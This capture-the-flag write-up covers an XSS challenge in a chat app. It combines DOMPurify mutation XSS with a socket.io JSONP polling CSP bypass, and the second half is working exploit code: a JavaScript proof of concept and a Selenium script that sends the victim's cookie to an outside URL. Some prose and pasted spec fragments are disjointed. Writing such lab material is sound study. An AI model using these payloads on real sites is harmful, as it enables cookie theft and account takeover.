The solution:
- Should work on the latest version of
Firefox
andChromium
. Due to recent changes, the--disable-features=EscapeLtGtInAttributes
startup flag is required forChromium
, and inFirefox
setdom.security.html_serialization_escape_lt_gt=false
inabout:config
(this check should says "does NOT escape"); - Should leverage a cross site scripting vulnerability on this domain;
- Shouldn't be
self-XSS
or related toMiTM
attacks; - Should require no user interaction.
The web challenge
allows us to login
to some IRC
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>IRC - Login</title>
<link rel="stylesheet" href="/static/challenge_styles.css"/>
<script src="/socket.io/socket.io.js"></script>
</head>
<body>
<div class="container">
<table>
<tr><td class="header">Instant Realtime Communication</td></tr>
<tr>
<td>
<form class="center-form" id="login-form" action="#">
<h2 id="title">Join or Create a Channel</h2>
<input type="text" name="username" placeholder="Enter your username" autocomplete="off" required autofocus/>
<button type="submit" id="button">Continue</button>
</form>
</td>
</tr>
</table>
</div>
<div class="bottom-right">
<a href="/irc.zip" download="">
<strong>100% secure</strong>. Don't believe us?<br/>
<i>Review the source code</i>
<span class="muted-right">irc.zip</span>
</a>
</div>
<script src="/login.js"></script>
</body>
</html>
We hurry to check the root application irc/app/package.json
file:
{
"scripts": { "start": "node index.js" },
"name": "irc",
"version": "1.0.0",
"type": "module",
"dependencies": {
"express": "^5.1.0",
"puppeteer": "^24.8.2",
"socket.io": "^4.8.1",
"uuid": "^11.1.0"
}
}
DOMPurify
is a DOM-only, super-fast, uber-tolerantXSS
sanitizer;- Nesting-based
mXSS
case.
- Nesting-based
Express
is a minimalistic web framework built for NodeJS;XSS
case.
Puppeteer
is a JavaScript library which provides a high-level API to control headless web browser over theDevTools Protocol
orWebDriver BiDi
;RCE
case.
Socket.IO
is a JavaScript library (for both client and server) that provides a higher-level abstraction over WebSockets, designed to make real-time communication easier and more reliable across browsers and environments;CSP Bypass
case.
- Generate RFC-compliant
UUID
in JavaScript.Insecure Randomness
case.
Reading the challenge code, we understand that we need to find a way to exfiltrate the cookie while bypassing sanitization
as Content Security Policy
:
// irc/app/public/chat.js
const textSpan = document.createElement("span");
textSpan.appendChild(DOMPurify.sanitize(message.text, { RETURN_DOM_FRAGMENT: true, ADD_TAGS: ["iframe"] }));
messageElement.appendChild(textSpan);
const chatMessages = document.getElementById("chat-messages");
chatMessages.appendChild(messageElement);
chatMessages.scrollTop = chatMessages.scrollHeight;
document.body.innerHTML = document.body.innerHTML; // oof
// irc/app/bot.js
const context = await browser.createBrowserContext();
await context.setCookie({
name: "flag",
value: "CTF{FLAG}",
domain: HOST.replace(/https?:\/\//, "")
});
// irc/app/index.js
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
`default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; base-uri 'none'; frame-src 'none'; form-action 'self'`
);
res.setHeader("X-Content-Type-Options", "nosniff");
res.setHeader("X-Frame-Options", "SAMEORIGIN");
next();
});
The first idea is to search for mXSS
since the presence of the EscapeLtGtInAttributes
argument is pointing to that direction.
DOM exploration tools will help us to see it better, combining it with different LLM
penetration testing.
Furthermore, the entire body
is parsed again because of document.body.innerHTML
part making it update the entire chat corpus.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>IRC</title>
<link rel="stylesheet" href="/static/challenge_styles.css"/>
<script src="/purify.js"></script>
<script src="/socket.io/socket.io.js"></script>
</head>
<body>
<div class="container">
<table>
<tr>
<td class="header" colspan="2">Instant Realtime Communication</td>
</tr>
<tr>
<td class="sidebar">
<h3>Users</h3>
<ul id="user-list" class="user-list"></ul>
<a href="/login" id="leave-chat" class="btn">Leave Channel</a>
<a href="/bot" id="invite-bot" class="btn blue">Invite Bot</a>
</td>
<td>
<div id="chat-messages" class="chat-area"></div>
</td>
</tr>
<tr>
<td colspan="2">
<form action="#" id="message-form" class="input-area">
<input type="text" name="message" placeholder="Type your message" autocomplete="off" autofocus/>
<button type="submit" class="send-btn">Send</button>
</form>
</td>
</tr>
</table>
</div>
<script src="/chat.js"></script>
</body>
</html>
Adding the necessary with known node-flattening to close the remaining HTML
tags will prevent the current DOMPurify-3.2.5
removing them.
- Tag omission in text/html:
- Neither tag is omissible.
- Content attributes:
- Global attributes
- Accessibility considerations:
- For authors.
- For implementers.
- DOM interface:
[Exposed=Window]
interface HTMLTableElement : HTMLElement {
[HTMLConstructor] constructor();
[CEReactions] attribute HTMLTableCaptionElement? caption;
HTMLTableCaptionElement createCaption();
[CEReactions] undefined deleteCaption();
[CEReactions] attribute HTMLTableSectionElement? tHead;
HTMLTableSectionElement createTHead();
[CEReactions] undefined deleteTHead();
[CEReactions] attribute HTMLTableSectionElement? tFoot;
HTMLTableSectionElement createTFoot();
[CEReactions] undefined deleteTFoot();
[SameObject] readonly attribute HTMLCollection tBodies;
HTMLTableSectionElement createTBody();
[SameObject] readonly attribute HTMLCollection rows;
HTMLTableRowElement insertRow(optional long index = -1);
[CEReactions] undefined deleteRow(long index);
};
Another idea is to search for the CSP
bypass, but unfortunately this will not be as easy as it sounds.
Everyone who has taken part in the challenge could see where this is going:
// https://github.com/socketio/socket.io/blob/main/packages/engine.io/lib/transports/index.ts
import { Polling as XHR } from "./polling";
import { JSONP } from "./polling-jsonp";
import { WebSocket } from "./websocket";
import { WebTransport } from "./webtransport";
export default { polling: polling, websocket: WebSocket, webtransport: WebTransport, };
/**
* Polling polymorphic constructor.
*/
function polling(req) {
if ("string" === typeof req._query.j) {
return new JSONP(req);
} else {
return new XHR(req);
}
}
polling.upgradesTo = ["websocket", "webtransport"];
// https://github.com/socketio/socket.io/blob/main/packages/engine.io/lib/transports/polling-jsonp.ts
import { Polling } from "./polling";
import * as qs from "querystring";
import type { RawData } from "engine.io-parser";
const rDoubleSlashes = /\\\\n/g;
const rSlashes = /(\\)?\\n/g;
export class JSONP extends Polling {
private readonly head: string;
private readonly foot: string;
/**
* JSON-P polling transport.
*/
constructor(req) {
super(req);
this.head = "___eio[" + (req._query.j || "").replace(/[^0-9]/g, "") + "](";
this.foot = ");";
}
override onData(data: RawData) {
data = qs.parse(data).d as string;
if ("string" === typeof data) {
data = data.replace(rSlashes, function (match, slashes) {
return slashes ? match : "\n";
});
super.onData(data.replace(rDoubleSlashes, "\\n"));
}
}
override doWrite(data, options, callback) {
const js = JSON.stringify(data).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
data = this.head + js + this.foot;
super.doWrite(data, options, callback);
}
}
The good news is that we can still trigger the JSONP
endpoint with the j
parameter (that would help bypass the current Content Security Policy
).
But, the bad news is that the in-place filtering will not let us include malicious code.
Inevitably, we will lose days for nothing, who may make us hate the web
a little more (which is a good thing).
Always at the rescue, we ask our Lord and Savior LLM
to help us find another valid socket.io
CSP bypass gadget.
Namespace is a communication channel that allows you to split the logic of your application over a single shared connection.
This class is composing a protocol string for socket.io packets, not constructing HTML or JavaScript code that is then executed or rendered by a browser. It combines properties of an object into a string that represents a message to be parsed later by the protocol.
// https://github.com/socketio/socket.io/blob/main/packages/socket.io-parser/lib/index.ts
export class Encoder {
/**
* Encoder constructor
* @param {function} replacer - custom replacer to pass down to JSON.parse
*/
constructor(private replacer?: (this: any, key: string, value: any) => any) {}
/**
* Encode a packet as a single string if non-binary, or as a
* buffer sequence, depending on packet type.
* @param {Object} obj - packet object
*/
public encode(obj: Packet) {
debug("encoding packet %j", obj);
if (obj.type === PacketType.EVENT || obj.type === PacketType.ACK) {
if (hasBinary(obj)) {
return this.encodeAsBinary({
type: obj.type === PacketType.EVENT ? PacketType.BINARY_EVENT : PacketType.BINARY_ACK,
nsp: obj.nsp,
data: obj.data,
id: obj.id,
});
}
}
return [this.encodeAsString(obj)];
}
/**
* Encode packet as string.
*/
private encodeAsString(obj: Packet) { // first is type
let str = "" + obj.type; // attachments if we have them
if (obj.type === PacketType.BINARY_EVENT || obj.type === PacketType.BINARY_ACK) {
str += obj.attachments + "-";
} // if we have a namespace other than `/` we append it followed by a comma `,`
if (obj.nsp && "/" !== obj.nsp) {
str += obj.nsp + ",";
} // immediately followed by the id
if (null != obj.id) {
str += obj.id;
} // json data
if (null != obj.data) {
str += JSON.stringify(obj.data, this.replacer);
}
debug("encoded %j as %s", obj, str);
return str;
}
/**
* Encode packet as 'buffer sequence' by removing blobs, and
* deconstructing packet into object with placeholders and a list of buffers.
*/
private encodeAsBinary(obj: Packet) {
const deconstruction = deconstructPacket(obj);
const pack = this.encodeAsString(deconstruction.packet);
const buffers = deconstruction.buffers;
buffers.unshift(pack); // add packet info to beginning of data list
return buffers; // write all the buffers
}
}
We take advantage of the way the encoding
is managed (abusing protocol) to incorporate some payload.
Thus generating a proof of principle:
(async () => {
let r = await fetch("https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling");
let sid = (await r.text()).match(/"sid":"([^"]+)"/)[1]; // {"code":1,"message":"Session ID unknown"}
// Obtain session ID from the socket.io polling interface
await fetch(`https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling&sid=${sid}`, {
method: "POST", headers: { "Content-Type": "text/plain" }, body: "40/(alert(document.cookie))//"
});
// 44/(alert(document.cookie))//,{"message":"Invalid namespace"}
let s = document.createElement("script");
s.src = `https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling&sid=${sid}`;
document.head.appendChild(s);
})();
We can now automate a bit the exploitation:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
options = webdriver.ChromeOptions() # WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
options.add_argument("--log-level=3") # "allow pasting"
options.add_argument("--disable-features=EscapeLtGtInAttributes")
options.add_experimental_option("excludeSwitches", ["enable-logging"])
driver = webdriver.Chrome(service=Service(log_path="/dev/null"), options=options) # nul
def main():
driver.get("https://challenge-0725.intigriti.io/login")
wait = WebDriverWait(driver, 15)
username_input = wait.until(EC.visibility_of_element_located((By.NAME, "username")))
username_input.send_keys("user")
username_input.send_keys(Keys.RETURN)
ping = wait.until(EC.visibility_of_element_located((By.XPATH, "//*[contains(text(), 'has joined the channel')]")))
if ping:
uid = driver.current_url.split("/")[-1]
poc = __import__("textwrap").dedent(f"""
// $ /ask Prompting debugging methods.
let [host, leak, s, uid, user] = ["https://challenge-0725.intigriti.io", "https://169.254.169.254/", io("https://challenge-0725.intigriti.io",{chr(123)}transports:["websocket"]{chr(125)}), "{uid}", "user"]; // let send_message = m => console.info(m);
s.on("connect", () => {chr(123)} // https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/502 or 503 error can occur
s.emit("join_channel", {chr(123)} channelId: uid, username: user {chr(125)}); // Missing channelId could crash the server
console.warn(`${chr(123)}host{chr(125)}/bot?channel=${chr(123)}uid{chr(125)}`); // Bypass reCAPTCHA | https://github.com/ultrafunkamsterdam/nodriver
{chr(125)});
s.on("user_list", async function(k) {chr(123)} // Joined room
if (k.some(i=> i.username === "bot")) {chr(123)} // https://github.com/socketio/socket.io/discussions/4037
send_message(`${chr(123)}'<div>'.repeat(502){chr(125)}<div/id=x><table><caption>x</caption><iframe/id=chat-messages></iframe>${chr(123)}'</div>'.repeat(503){chr(125)}`); // Should be closed
send_message("https://youtu.be/CR9wDbPelt4"); // https://stackoverflow.com/questions/48633145/what-is-the-t-query-parameter-in-a-socket-io-handshake
let id = JSON.parse((await(await fetch(`${chr(123)}host{chr(125)}/socket.io/?${chr(123)}new URLSearchParams({chr(123)}EIO:4,t:Math.random(),transport:"polling"{chr(125)}){chr(125)}`,{chr(123)}credentials:"include"{chr(125)})).text()).slice(1)).sid;
let poc = `40/**/;window.top.location.href=\`${chr(123)}leak{chr(125)}?flag=${chr(123)}document.cookie{chr(125)}\`//`; // https://socket.io/docs/v4/namespaces | window !== window.top
let req = await fetch(`${chr(123)}host{chr(125)}/socket.io/?${chr(123)}new URLSearchParams({chr(123)}EIO:4,transport:"polling",sid:id{chr(125)}){chr(125)}`,{chr(123)}body:poc,method:"POST",headers:{chr(123)}"Content-Type":"text/html"{chr(125)},credentials:"include"{chr(125)});
console.assert(await req.text() === "ok");
console.info(`${chr(123)}host{chr(125)}/socket.io/?transport=polling&EIO=4&sid=${chr(123)}id{chr(125)}&j=0&t=${chr(123)}Math.random(){chr(125)}`); // EIO=0
send_message(`<div/id="</iframe><iframe/srcdoc='<script/src=/socket.io/?EIO=4&transport=polling&sid=${id}></script>'></iframe>">`);
{chr(125)}
{chr(125)});
""").strip()
driver.execute_script(poc)
def warn():
while 1: # Waiting for the bot invitation response
if (w := [e["message"] for e in driver.get_log("browser") if e["level"] == "WARNING"]): return w[0] # []
link = warn()
driver.switch_to.new_window("tab")
driver.get(link.split('"')[1])
btn = wait.until(EC.element_to_be_clickable((By.ID, "button"))).click() # driver.switch_to.window(driver.window_handles[0])
bot = wait.until(EC.visibility_of_element_located((By.XPATH, "//*[contains(text(), 'has joined the channel')]")))
driver.quit()
if __name__ == "__main__":
try:
main()
except Exception as e:
print(e)
Challenges management has been diminishing over time.